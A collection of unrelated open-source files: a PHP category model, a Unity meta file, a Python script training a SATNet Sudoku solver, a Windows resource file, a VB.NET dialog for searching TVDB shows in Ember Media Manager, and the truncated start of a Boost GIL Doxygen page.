self::MODEL_BOTH), array('meta_title', '1,255', '网页描述不能超过255个字符', self::VALUE_VALIDATE , 'length', self::MODEL_BOTH), ); protected $_auto = array( array('model', 'arr2str', self::MODEL_BOTH, 'function'), array('model', null, self::MODEL_BOTH, 'ignore'), array('type', 'arr2str', self::MODEL_BOTH, 'function'), array('type', null, self::MODEL_BOTH, 'ignore'), array('reply_model', 'arr2str', self::MODEL_BOTH, 'function'), array('reply_model', null, self::MODEL_BOTH, 'ignore'), array('extend', 'json_encode', self::MODEL_BOTH, 'function'), array('extend', null, self::MODEL_BOTH, 'ignore'), array('create_time', NOW_TIME, self::MODEL_INSERT), array('update_time', NOW_TIME, self::MODEL_BOTH), array('status', '1', self::MODEL_BOTH), ); /** * 获取分类详细信息 * @param milit $id 分类ID或标识 * @param boolean $field 查询字段 * @return array 分类信息 * @author 麦当苗儿 <[email protected]> */ public function info($id, $field = true){ /* 获取分类信息 */ $map = array(); if(is_numeric($id)){ //通过ID查询 $map['id'] = $id; } else { //通过标识查询 $map['name'] = $id; } return $this->field($field)->where($map)->find(); } /** * 获取分类树,指定分类则返回指定分类极其子分类,不指定则返回所有分类树 * @param integer $id 分类ID * @param boolean $field 查询字段 * @return array 分类树 * @author 麦当苗儿 <[email protected]> */ public function getTree($id = 0, $field = true){ /* 获取当前分类信息 */ if($id){ $info = $this->info($id); $id = $info['id']; } /* 获取所有分类 */ $map = array('status' => array('gt', -1)); $list = $this->field($field)->where($map)->order('sort')->select(); $list = list_to_tree($list, $pk = 'id', $pid = 'pid', $child = '_', $root = $id); /* 获取返回数据 */ if(isset($info)){ //指定分类则返回当前分类极其子分类 $info['_'] = $list; } else { //否则返回所有分类 $info = $list; } return $info; } /** * 获取指定分类的同级分类 * @param integer $id 分类ID * @param boolean $field 查询字段 * @return array * @author 麦当苗儿 <[email protected]> */ public function getSameLevel($id, $field = true){ $info = $this->info($id, 'pid'); $map = array('pid' => $info['pid'], 'status' => 1); return $this->field($field)->where($map)->order('sort')->select(); } /** * 更新分类信息 * @return boolean 更新状态 * @author 麦当苗儿 <[email protected]> */ public function update(){ $data = $this->create(); if(!$data){ //数据对象创建错误 return false; } /* 添加或更新数据 */ if(empty($data['id'])){ $res = $this->add(); }else{ $res = $this->save(); } //更新分类缓存 S('sys_category_list', null); //记录行为 action_log('update_category', 'category', $data['id'] ? $data['id'] : $res, UID); return $res; } /** * 查询后解析扩展信息 * @param array $data 分类数据 * @author 麦当苗儿 <[email protected]> */ protected function _after_find(&$data, $options){ /* 分割模型 */ if(!empty($data['model'])){ $data['model'] = explode(',', $data['model']); } /* 分割文档类型 */ if(!empty($data['type'])){ $data['type'] = explode(',', $data['type']); } /* 分割模型 */ if(!empty($data['reply_model'])){ $data['reply_model'] = explode(',', $data['reply_model']); } /* 分割文档类型 */ if(!empty($data['reply_type'])){ $data['reply_type'] = explode(',', $data['reply_type']); } /* 还原扩展数据 */ if(!empty($data['extend'])){ $data['extend'] = json_decode($data['extend'], true); } } }
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 456f29422ca0d9b4caaad0e15fe8c6b4 timeCreated: 1503190263 licenseType: Free NativeFormatImporter: mainObjectFileID: 2100000 userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
#!/usr/bin/env python3 # # Partly derived from: # https://github.com/locuslab/optnet/blob/master/sudoku/train.py import argparse import os import shutil import csv import numpy as np import numpy.random as npr #import setproctitle import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F from torch.utils.data import TensorDataset, DataLoader from tqdm.auto import tqdm import satnet class SudokuSolver(nn.Module): def __init__(self, boardSz, aux, m): super(SudokuSolver, self).__init__() n = boardSz**6 self.sat = satnet.SATNet(n, m, aux) def forward(self, y_in, mask): out = self.sat(y_in, mask) return out class DigitConv(nn.Module): ''' Convolutional neural network for MNIST digit recognition. From: https://github.com/pytorch/examples/blob/master/mnist/main.py ''' def __init__(self): super(DigitConv, self).__init__() self.conv1 = nn.Conv2d(1, 20, 5, 1) self.conv2 = nn.Conv2d(20, 50, 5, 1) self.fc1 = nn.Linear(4*4*50, 500) self.fc2 = nn.Linear(500, 10) def forward(self, x): x = F.relu(self.conv1(x)) x = F.max_pool2d(x, 2, 2) x = F.relu(self.conv2(x)) x = F.max_pool2d(x, 2, 2) x = x.view(-1, 4*4*50) x = F.relu(self.fc1(x)) x = self.fc2(x) return F.softmax(x, dim=1)[:,:9].contiguous() class MNISTSudokuSolver(nn.Module): def __init__(self, boardSz, aux, m): super(MNISTSudokuSolver, self).__init__() self.digit_convnet = DigitConv() self.sudoku_solver = SudokuSolver(boardSz, aux, m) self.boardSz = boardSz self.nSq = boardSz**2 def forward(self, x, is_inputs): nBatch = x.shape[0] x = x.flatten(start_dim = 0, end_dim = 1) digit_guess = self.digit_convnet(x) puzzles = digit_guess.view(nBatch, self.nSq * self.nSq * self.nSq) solution = self.sudoku_solver(puzzles, is_inputs) return solution class CSVLogger(object): def __init__(self, fname): self.f = open(fname, 'w') self.logger = csv.writer(self.f) def log(self, fields): self.logger.writerow(fields) self.f.flush() class FigLogger(object): def __init__(self, fig, base_ax, title): self.colors = ['tab:red', 'tab:blue'] self.labels = ['Loss (entropy)', 'Error'] self.markers = ['d', '.'] self.axes = [base_ax, base_ax.twinx()] base_ax.set_xlabel('Epochs') base_ax.set_title(title) for i, ax in enumerate(self.axes): ax.set_ylabel(self.labels[i], color=self.colors[i]) ax.tick_params(axis='y', labelcolor=self.colors[i]) self.reset() self.fig = fig def log(self, args): for i, arg in enumerate(args[-2:]): self.curves[i].append(arg) x = list(range(len(self.curves[i]))) self.axes[i].plot(x, self.curves[i], self.colors[i], marker=self.markers[i]) self.axes[i].set_ylim(0, 1.05) self.fig.canvas.draw() def reset(self): for ax in self.axes: for line in ax.lines: line.remove() self.curves = [[], []] def print_header(msg): print('===>', msg) def find_unperm(perm): unperm = torch.zeros_like(perm) for i in range(perm.size(0)): unperm[perm[i]] = i return unperm def main(): parser = argparse.ArgumentParser() parser.add_argument('--data_dir', type=str, default='sudoku') parser.add_argument('--boardSz', type=int, default=3) parser.add_argument('--batchSz', type=int, default=40) parser.add_argument('--testBatchSz', type=int, default=40) parser.add_argument('--aux', type=int, default=300) parser.add_argument('--m', type=int, default=600) parser.add_argument('--nEpoch', type=int, default=100) parser.add_argument('--testPct', type=float, default=0.1) parser.add_argument('--lr', type=float, default=2e-3) parser.add_argument('--save', type=str) parser.add_argument('--model', type=str) parser.add_argument('--no_cuda', action='store_true') parser.add_argument('--mnist', action='store_true') parser.add_argument('--perm', action='store_true') args = parser.parse_args() # For debugging: fix the random seed npr.seed(1) torch.manual_seed(7) args.cuda = not args.no_cuda and torch.cuda.is_available() if args.cuda: print('Using', torch.cuda.get_device_name(0)) torch.backends.cudnn.deterministic = True torch.backends.cudnn.benchmark = False torch.cuda.init() save = 'sudoku{}{}.boardSz{}-aux{}-m{}-lr{}-bsz{}'.format( '.perm' if args.perm else '', '.mnist' if args.mnist else '', args.boardSz, args.aux, args.m, args.lr, args.batchSz) if args.save: save = '{}-{}'.format(args.save, save) save = os.path.join('logs', save) if os.path.isdir(save): shutil.rmtree(save) os.makedirs(save) #setproctitle.setproctitle('sudoku.{}'.format(save)) print_header('Loading data') with open(os.path.join(args.data_dir, 'features.pt'), 'rb') as f: X_in = torch.load(f) with open(os.path.join(args.data_dir, 'features_img.pt'), 'rb') as f: Ximg_in = torch.load(f) with open(os.path.join(args.data_dir, 'labels.pt'), 'rb') as f: Y_in = torch.load(f) with open(os.path.join(args.data_dir, 'perm.pt'), 'rb') as f: perm = torch.load(f) N = X_in.size(0) nTrain = int(N*(1.-args.testPct)) nTest = N-nTrain assert(nTrain % args.batchSz == 0) assert(nTest % args.testBatchSz == 0) print_header('Forming inputs') X, Ximg, Y, is_input = process_inputs(X_in, Ximg_in, Y_in, args.boardSz) data = Ximg if args.mnist else X if args.cuda: data, is_input, Y = data.cuda(), is_input.cuda(), Y.cuda() unperm = None if args.perm and not args.mnist: print('Applying permutation') data[:,:], Y[:,:], is_input[:,:] = data[:,perm], Y[:,perm], is_input[:,perm] unperm = find_unperm(perm) train_set = TensorDataset(data[:nTrain], is_input[:nTrain], Y[:nTrain]) test_set = TensorDataset(data[nTrain:], is_input[nTrain:], Y[nTrain:]) print_header('Building model') if args.mnist: model = MNISTSudokuSolver(args.boardSz, args.aux, args.m) else: model = SudokuSolver(args.boardSz, args.aux, args.m) if args.cuda: model = model.cuda() if args.mnist: optimizer = optim.Adam([ {'params': model.sudoku_solver.parameters(), 'lr': args.lr}, {'params': model.digit_convnet.parameters(), 'lr': 1e-5}, ]) else: optimizer = optim.Adam(model.parameters(), lr=args.lr) if args.model: model.load_state_dict(torch.load(args.model)) train_logger = CSVLogger(os.path.join(save, 'train.csv')) test_logger = CSVLogger(os.path.join(save, 'test.csv')) fields = ['epoch', 'loss', 'err'] train_logger.log(fields) test_logger.log(fields) test(args.boardSz, 0, model, optimizer, test_logger, test_set, args.testBatchSz, unperm) for epoch in range(1, args.nEpoch+1): train(args.boardSz, epoch, model, optimizer, train_logger, train_set, args.batchSz, unperm) test(args.boardSz, epoch, model, optimizer, test_logger, test_set, args.testBatchSz, unperm) #torch.save(model.state_dict(), os.path.join(save, 'it'+str(epoch)+'.pth')) def process_inputs(X, Ximg, Y, boardSz): is_input = X.sum(dim=3, keepdim=True).expand_as(X).int().sign() Ximg = Ximg.flatten(start_dim=1, end_dim=2) Ximg = Ximg.unsqueeze(2).float() X = X.view(X.size(0), -1) Y = Y.view(Y.size(0), -1) is_input = is_input.view(is_input.size(0), -1) return X, Ximg, Y, is_input def run(boardSz, epoch, model, optimizer, logger, dataset, batchSz, to_train=False, unperm=None): loss_final, err_final = 0, 0 loader = DataLoader(dataset, batch_size=batchSz) tloader = tqdm(enumerate(loader), total=len(loader)) for i,(data,is_input,label) in tloader: if to_train: optimizer.zero_grad() preds = model(data.contiguous(), is_input.contiguous()) loss = nn.functional.binary_cross_entropy(preds, label) if to_train: loss.backward() optimizer.step() err = computeErr(preds.data, boardSz, unperm)/batchSz tloader.set_description('Epoch {} {} Loss {:.4f} Err: {:.4f}'.format(epoch, ('Train' if to_train else 'Test '), loss.item(), err)) loss_final += loss.item() err_final += err loss_final, err_final = loss_final/len(loader), err_final/len(loader) logger.log((epoch, loss_final, err_final)) if not to_train: print('TESTING SET RESULTS: Average loss: {:.4f} Err: {:.4f}'.format(loss_final, err_final)) #print('memory: {:.2f} MB, cached: {:.2f} MB'.format(torch.cuda.memory_allocated()/2.**20, torch.cuda.memory_cached()/2.**20)) torch.cuda.empty_cache() def train(args, epoch, model, optimizer, logger, dataset, batchSz, unperm=None): run(args, epoch, model, optimizer, logger, dataset, batchSz, True, unperm) @torch.no_grad() def test(args, epoch, model, optimizer, logger, dataset, batchSz, unperm=None): run(args, epoch, model, optimizer, logger, dataset, batchSz, False, unperm) @torch.no_grad() def computeErr(pred_flat, n, unperm): if unperm is not None: pred_flat[:,:] = pred_flat[:,unperm] nsq = n ** 2 pred = pred_flat.view(-1, nsq, nsq, nsq) batchSz = pred.size(0) s = (nsq-1)*nsq//2 # 0 + 1 + ... + n^2-1 I = torch.max(pred, 3)[1].squeeze().view(batchSz, nsq, nsq) def invalidGroups(x): valid = (x.min(1)[0] == 0) valid *= (x.max(1)[0] == nsq-1) valid *= (x.sum(1) == s) return 1-valid boardCorrect = torch.ones(batchSz).type_as(pred) for j in range(nsq): # Check the jth row and column. boardCorrect[invalidGroups(I[:,j,:])] = 0 boardCorrect[invalidGroups(I[:,:,j])] = 0 # Check the jth block. row, col = n*(j // n), n*(j % n) M = invalidGroups(I[:,row:row+n,col:col+n].contiguous().view(batchSz,-1)) boardCorrect[M] = 0 if boardCorrect.sum() == 0: return batchSz return float(batchSz-boardCorrect.sum()) if __name__=='__main__': main()
{ "pile_set_name": "Github" }
// Copyright 2016 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #ifdef APSTUDIO_INVOKED #error Don't open this file in the GUI, it'll be massacred on save. #endif // APSTUDIO_INVOKED #define KASKO_FILETYPE VFT_APP #define KASKO_DESCRIPTION "Kasko Uploader" #define KASKO_INTERNALNAME "Kasko Uploader" #define KASKO_ORIGINALFILENAME "kasko_upload.exe" #include "version.rc"
{ "pile_set_name": "Github" }
Imports EmberAPI ' ################################################################################ ' # EMBER MEDIA MANAGER # ' ################################################################################ ' ################################################################################ ' # This file is part of Ember Media Manager. # ' # # ' # Ember Media Manager is free software: you can redistribute it and/or modify # ' # it under the terms of the GNU General Public License as published by # ' # the Free Software Foundation, either version 3 of the License, or # ' # (at your option) any later version. # ' # # ' # Ember Media Manager is distributed in the hope that it will be useful, # ' # but WITHOUT ANY WARRANTY; without even the implied warranty of # ' # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # ' # GNU General Public License for more details. # ' # # ' # You should have received a copy of the GNU General Public License # ' # along with Ember Media Manager. If not, see <http://www.gnu.org/licenses/>. # ' ################################################################################ Public Class dlgTVDBSearchResults #Region "Fields" Friend WithEvents bwDownloadPic As New System.ComponentModel.BackgroundWorker Private lvResultsSorter As New ListViewColumnSorter Private sHTTP As New HTTP Private sInfo As Structures.ScrapeInfo Private _manualresult As Scraper.TVSearchResults = Nothing Private _skipdownload As Boolean = False #End Region 'Fields #Region "Methods" Public Overloads Function ShowDialog(ByVal _sInfo As Structures.ScrapeInfo) As Windows.Forms.DialogResult Me.sInfo = _sInfo Me.Text = String.Concat(Master.eLang.GetString(85, "TV Search Results"), " - ", sInfo.ShowTitle) Scraper.sObject.GetSearchResultsAsync(Me.sInfo) Return MyBase.ShowDialog() End Function Public Overloads Function ShowDialog(ByVal _sinfo As Structures.ScrapeInfo, ByVal SkipDownload As Boolean) As Structures.ScrapeInfo Me.sInfo = _sinfo Me._skipdownload = SkipDownload Me.Text = String.Concat(Master.eLang.GetString(85, "TV Search Results"), " - ", sInfo.ShowTitle) Scraper.sObject.GetSearchResultsAsync(Me.sInfo) If MyBase.ShowDialog() = Windows.Forms.DialogResult.OK Then Return Me.sInfo Else Return _sinfo End If End Function Private Sub btnSearch_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSearch.Click If Not String.IsNullOrEmpty(Me.txtSearch.Text) Then Me.lvSearchResults.Enabled = False Me.sInfo.ShowTitle = Me.txtSearch.Text Me.ClearInfo() Me.chkManual.Enabled = False Me.chkManual.Checked = False Me.txtSearch.Text = String.Empty Me.btnVerify.Enabled = False Scraper.sObject.GetSearchResultsAsync(Me.sInfo) Me.pnlLoading.Visible = True End If End Sub Private Sub btnVerify_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnVerify.Click If IsNumeric(Me.txtTVDBID.Text) AndAlso Me.txtTVDBID.Text.Length >= 5 Then Dim tmpXML As XDocument = Nothing Dim sLang As String = String.Empty Me.ClearInfo() Me.pnlLoading.Visible = True Application.DoEvents() Dim forceXML As String = sHTTP.DownloadData(String.Format("http://{0}/api/{1}/series/{2}/{3}.xml", Master.eSettings.TVDBMirror, Scraper.APIKey, Me.txtTVDBID.Text, Master.eSettings.TVDBLanguage)) If Not String.IsNullOrEmpty(forceXML) Then Try tmpXML = XDocument.Parse(forceXML) Catch End Try If Not IsNothing(tmpXML) Then Dim tSer As XElement = tmpXML.Descendants("Series").FirstOrDefault(Function(s) s.HasElements) If Not IsNothing(tSer) Then Me._manualresult = New Scraper.TVSearchResults Me._manualresult.ID = Convert.ToInt32(tSer.Element("id").Value) Me._manualresult.Name = If(Not IsNothing(tSer.Element("SeriesName")), tSer.Element("SeriesName").Value, String.Empty) If Not IsNothing(tSer.Element("Language")) AndAlso Master.eSettings.TVDBLanguages.Count > 0 Then sLang = tSer.Element("Language").Value Me._manualresult.Language = Master.eSettings.TVDBLanguages.FirstOrDefault(Function(s) s.ShortLang = sLang) ElseIf Not IsNothing(tSer.Element("Language")) Then sLang = tSer.Element("Language").Value Me._manualresult.Language = New Containers.TVLanguage With {.LongLang = String.Format("Unknown ({0})", sLang), .ShortLang = sLang} End If Me._manualresult.Aired = If(Not IsNothing(tSer.Element("FirstAired")), tSer.Element("FirstAired").Value, String.Empty) Me._manualresult.Overview = If(Not IsNothing(tSer.Element("Overview")), tSer.Element("Overview").Value, String.Empty) Me._manualresult.Banner = If(Not IsNothing(tSer.Element("banner")), tSer.Element("banner").Value, String.Empty) If Not String.IsNullOrEmpty(Me._manualresult.Name) AndAlso Not String.IsNullOrEmpty(sLang) Then If Not String.IsNullOrEmpty(Me._manualresult.Banner) Then If Me.bwDownloadPic.IsBusy Then Me.bwDownloadPic.CancelAsync() End If Me.bwDownloadPic = New System.ComponentModel.BackgroundWorker Me.bwDownloadPic.WorkerSupportsCancellation = True Me.bwDownloadPic.RunWorkerAsync(New Arguments With {.pURL = Me._manualresult.Banner}) End If Me.OK_Button.Tag = Me._manualresult.ID Me.lblTitle.Text = Me._manualresult.Name Me.txtOutline.Text = Me._manualresult.Overview Me.lblAired.Text = Me._manualresult.Aired Me.OK_Button.Enabled = True Me.pnlLoading.Visible = False Me.ControlsVisible(True) Else Me.pnlLoading.Visible = False End If Else Me.pnlLoading.Visible = False End If Else Me.pnlLoading.Visible = False End If Else Me.pnlLoading.Visible = False End If Else MsgBox(Master.eLang.GetString(83, "The ID you entered is not a valid TVDB ID."), MsgBoxStyle.Exclamation, Master.eLang.GetString(292, "Invalid Entry", True)) End If End Sub Private Sub bwDownloadPic_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles bwDownloadPic.DoWork Dim Args As Arguments = DirectCast(e.Argument, Arguments) sHTTP.StartDownloadImage(String.Format("http://{0}/banners/_cache/{1}", Master.eSettings.TVDBMirror, Args.pURL)) While sHTTP.IsDownloading Application.DoEvents() Threading.Thread.Sleep(50) End While e.Result = New Results With {.Result = sHTTP.Image()} End Sub Private Sub bwDownloadPic_RunWorkerCompleted(ByVal sender As Object, ByVal e As System.ComponentModel.RunWorkerCompletedEventArgs) Handles bwDownloadPic.RunWorkerCompleted Dim Res As Results = DirectCast(e.Result, Results) Try Me.pbBanner.Image = Res.Result Catch ex As Exception Master.eLog.WriteToErrorLog(ex.Message, ex.StackTrace, "Error") End Try End Sub Private Sub Cancel_Button_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Cancel_Button.Click Me.DialogResult = System.Windows.Forms.DialogResult.Cancel Me.Close() End Sub Private Sub chkManual_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles chkManual.CheckedChanged Me.ClearInfo() Me.OK_Button.Enabled = False Me.txtTVDBID.Enabled = Me.chkManual.Checked Me.btnVerify.Enabled = Me.chkManual.Checked Me.lvSearchResults.Enabled = Not Me.chkManual.Checked If Not Me.chkManual.Checked Then txtTVDBID.Text = String.Empty Else If Me.lvSearchResults.SelectedItems.Count > 0 Then Me.lvSearchResults.SelectedItems(0).Selected = False End If End Sub Private Sub ClearInfo() Me.ControlsVisible(False) Me.lblTitle.Text = String.Empty Me.lblAired.Text = String.Empty Me.pbBanner.Image = Nothing Scraper.sObject.CancelAsync() End Sub Private Sub ControlsVisible(ByVal areVisible As Boolean) Me.pbBanner.Visible = areVisible Me.lblTitle.Visible = areVisible Me.lblAiredHeader.Visible = areVisible Me.lblAired.Visible = areVisible Me.lblPlotHeader.Visible = areVisible Me.txtOutline.Visible = areVisible End Sub Private Sub dlgTVDBSearchResults_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load Try AddHandler ModulesManager.Instance.TVScraperEvent, AddressOf TVScraperEvent Dim iBackground As New Bitmap(Me.pnlTop.Width, Me.pnlTop.Height) Using g As Graphics = Graphics.FromImage(iBackground) g.FillRectangle(New Drawing2D.LinearGradientBrush(Me.pnlTop.ClientRectangle, Color.SteelBlue, Color.LightSteelBlue, Drawing2D.LinearGradientMode.Horizontal), pnlTop.ClientRectangle) Me.pnlTop.BackgroundImage = iBackground End Using Me.lvSearchResults.ListViewItemSorter = Me.lvResultsSorter Me.SetUp() Catch ex As Exception Master.eLog.WriteToErrorLog(ex.Message, ex.StackTrace, "Error") End Try End Sub Private Sub lvSearchResults_ColumnClick(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles lvSearchResults.ColumnClick ' Determine if the clicked column is already the column that is ' being sorted. Try If (e.Column = Me.lvResultsSorter.SortColumn) Then ' Reverse the current sort direction for this column. If (Me.lvResultsSorter.Order = SortOrder.Ascending) Then Me.lvResultsSorter.Order = SortOrder.Descending Else Me.lvResultsSorter.Order = SortOrder.Ascending End If Else ' Set the column number that is to be sorted; default to ascending. Me.lvResultsSorter.SortColumn = e.Column Me.lvResultsSorter.Order = SortOrder.Ascending End If ' Perform the sort with these new sort options. Me.lvSearchResults.Sort() Catch ex As Exception Master.eLog.WriteToErrorLog(ex.Message, ex.StackTrace, "Error") End Try End Sub Private Sub lvSearchResults_GotFocus(ByVal sender As Object, ByVal e As System.EventArgs) Handles lvSearchResults.GotFocus Me.AcceptButton = Me.OK_Button End Sub Private Sub lvSearchResults_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles lvSearchResults.SelectedIndexChanged Me.ClearInfo() If Me.lvSearchResults.SelectedItems.Count > 0 AndAlso Not Me.chkManual.Checked Then Dim SelectedShow As Scraper.TVSearchResults = DirectCast(Me.lvSearchResults.SelectedItems(0).Tag, Scraper.TVSearchResults) If Not String.IsNullOrEmpty(SelectedShow.Banner) Then If Me.bwDownloadPic.IsBusy Then Me.bwDownloadPic.CancelAsync() End If Me.bwDownloadPic = New System.ComponentModel.BackgroundWorker Me.bwDownloadPic.WorkerSupportsCancellation = True Me.bwDownloadPic.RunWorkerAsync(New Arguments With {.pURL = SelectedShow.Banner}) End If Me.OK_Button.Tag = SelectedShow.ID Me.lblTitle.Text = SelectedShow.Name Me.txtOutline.Text = SelectedShow.Overview Me.lblAired.Text = SelectedShow.Aired Me.OK_Button.Enabled = True Me.ControlsVisible(True) End If End Sub Private Sub OK_Button_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OK_Button.Click If Me.lvSearchResults.SelectedItems.Count > 0 Then Dim sResults As Scraper.TVSearchResults = DirectCast(Me.lvSearchResults.SelectedItems(0).Tag, Scraper.TVSearchResults) Me.sInfo.TVDBID = sResults.ID.ToString Me.sInfo.SelectedLang = sResults.Language.ShortLang If Not _skipdownload Then Me.Label3.Text = Master.eLang.GetString(84, "Downloading show info...") Me.pnlLoading.Visible = True Scraper.sObject.DownloadSeriesAsync(sInfo) Else Me.DialogResult = System.Windows.Forms.DialogResult.OK Me.Close() End If ElseIf Me.chkManual.Checked AndAlso Not IsNothing(Me._manualresult) Then Me.sInfo.TVDBID = Me._manualresult.ID.ToString Me.sInfo.SelectedLang = Me._manualresult.Language.ShortLang If Not _skipdownload Then Me.Label3.Text = Master.eLang.GetString(84, "Downloading show info...") Me.pnlLoading.Visible = True Scraper.sObject.DownloadSeriesAsync(sInfo) Else Me.DialogResult = System.Windows.Forms.DialogResult.OK Me.Close() End If End If End Sub Private Sub SetUp() Me.Label1.Text = Master.eLang.GetString(85, "TV Search Results") Me.Label2.Text = Master.eLang.GetString(86, "View details of each result to find the proper TV show.") Me.lblAiredHeader.Text = Master.eLang.GetString(658, "Aired:", True) Me.lblPlotHeader.Text = Master.eLang.GetString(783, "Plot Summary:", True) Me.lvSearchResults.Columns(0).Text = Master.eLang.GetString(21, "Title", True) Me.lvSearchResults.Columns(1).Text = Master.eLang.GetString(610, "Language", True) Me.OK_Button.Text = Master.eLang.GetString(179, "OK", True) Me.Cancel_Button.Text = Master.eLang.GetString(167, "Cancel", True) End Sub Private Sub TVScraperEvent(ByVal eType As Enums.TVScraperEventType, ByVal iProgress As Integer, ByVal Parameter As Object) Select Case eType Case Enums.TVScraperEventType.SearchResultsDownloaded Dim lItem As ListViewItem Dim sResults As List(Of Scraper.TVSearchResults) = DirectCast(Parameter, List(Of Scraper.TVSearchResults)) Me.lvSearchResults.Items.Clear() If Not IsNothing(sResults) AndAlso sResults.Count > 0 Then For Each sRes As Scraper.TVSearchResults In sResults.OrderBy(Function(r) r.Lev) lItem = New ListViewItem(sRes.Name) lItem.SubItems.Add(sRes.Language.LongLang) lItem.SubItems.Add(sRes.Lev.ToString) lItem.SubItems.Add(sRes.ID.ToString) lItem.SubItems.Add(sRes.Language.ShortLang) lItem.Tag = sRes Me.lvSearchResults.Items.Add(lItem) Next End If Me.pnlLoading.Visible = False If Me.lvSearchResults.Items.Count > 0 Then If sResults.Select(Function(s) s.ID).Distinct.Count = 1 Then 'they're all for the same show... try to find one with the preferred language For Each fItem As ListViewItem In Me.lvSearchResults.Items If fItem.SubItems(4).Text = Master.eSettings.TVDBLanguage Then fItem.Selected = True fItem.EnsureVisible() Exit For End If Next Else 'we've got a bunch of different shows... try to find a "best match" title with the preferred language If sResults.Where(Function(s) s.Lev <= 5).Count > 0 Then For Each fItem As ListViewItem In Me.lvSearchResults.Items If Convert.ToInt32(fItem.SubItems(2).Text) <= 5 AndAlso fItem.SubItems(4).Text = Master.eSettings.TVDBLanguage Then fItem.Selected = True fItem.EnsureVisible() Exit For End If Next If Me.lvSearchResults.SelectedItems.Count = 0 Then 'get the id for the best english match and see if we have one for the preferred language with same id Dim tID As Integer = sResults.OrderBy(Function(s) s.Lev).FirstOrDefault(Function(s) s.Language.ShortLang = "en").ID If tID > 0 Then For Each fItem As ListViewItem In Me.lvSearchResults.Items If Convert.ToInt32(fItem.SubItems(3).Text) = tID AndAlso fItem.SubItems(4).Text = Master.eSettings.TVDBLanguage Then fItem.Selected = True fItem.EnsureVisible() Exit For End If Next End If End If End If End If If Me.lvSearchResults.SelectedItems.Count = 0 Then Me.lvSearchResults.Items(0).Selected = True End If Me.lvSearchResults.Select() End If Me.chkManual.Enabled = True If Not Me.chkManual.Checked Then Me.lvSearchResults.Enabled = True Case Enums.TVScraperEventType.ShowDownloaded Me.DialogResult = System.Windows.Forms.DialogResult.OK Me.Close() End Select End Sub Private Sub txtSearch_GotFocus(ByVal sender As Object, ByVal e As System.EventArgs) Handles txtSearch.GotFocus Me.AcceptButton = Me.btnSearch End Sub Private Sub txtTVDBID_GotFocus(ByVal sender As Object, ByVal e As System.EventArgs) Handles txtTVDBID.GotFocus Me.AcceptButton = Me.btnVerify End Sub Private Sub txtTVDBID_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles txtTVDBID.KeyPress e.Handled = StringUtils.NumericOnly(e.KeyChar, True) End Sub Private Sub txtTVDBID_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles txtTVDBID.TextChanged If String.IsNullOrEmpty(Me.txtTVDBID.Text) Then Me.btnVerify.Enabled = False Me.OK_Button.Enabled = False Else If Me.chkManual.Checked Then Me.btnVerify.Enabled = True Me.OK_Button.Enabled = False End If End If End Sub #End Region 'Methods #Region "Nested Types" Private Structure Arguments #Region "Fields" Dim pURL As String #End Region 'Fields End Structure Private Structure Results #Region "Fields" Dim Result As Image #End Region 'Fields End Structure #End Region 'Nested Types End Class
{ "pile_set_name": "Github" }
<!-- HTML header for doxygen 1.8.13--> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.6"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>Generic Image Library: CopyConstructible&lt; T &gt; Struct Template Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> <link href="doxygen-boost.css" rel="stylesheet" type="text/css"/> </head> <body> <div class="boost-header"> <table border="0" cellpadding="7" cellspacing="0" width="100%" summary="header"> <tr> <td valign="top" width="300"> <h3><a href="../index.html"><img alt="Boost GIL" src="../_static/gil.png" border="0"></a></h3> </td> <td ><h1 align="center"><a href="../index.html"></a></h1></td> <td></td> </tr> </table> </div> <hr/> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <!-- Generated by Doxygen 1.8.6 --> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><b>boost</b></li><li class="navelem"><b>gil</b></li><li class="navelem"><a class="el" href="structboost_1_1gil_1_1_copy_constructible.html">CopyConstructible</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> &#124; <a href="structboost_1_1gil_1_1_copy_constructible-members.html">List of all members</a> </div> <div class="headertitle"> <div 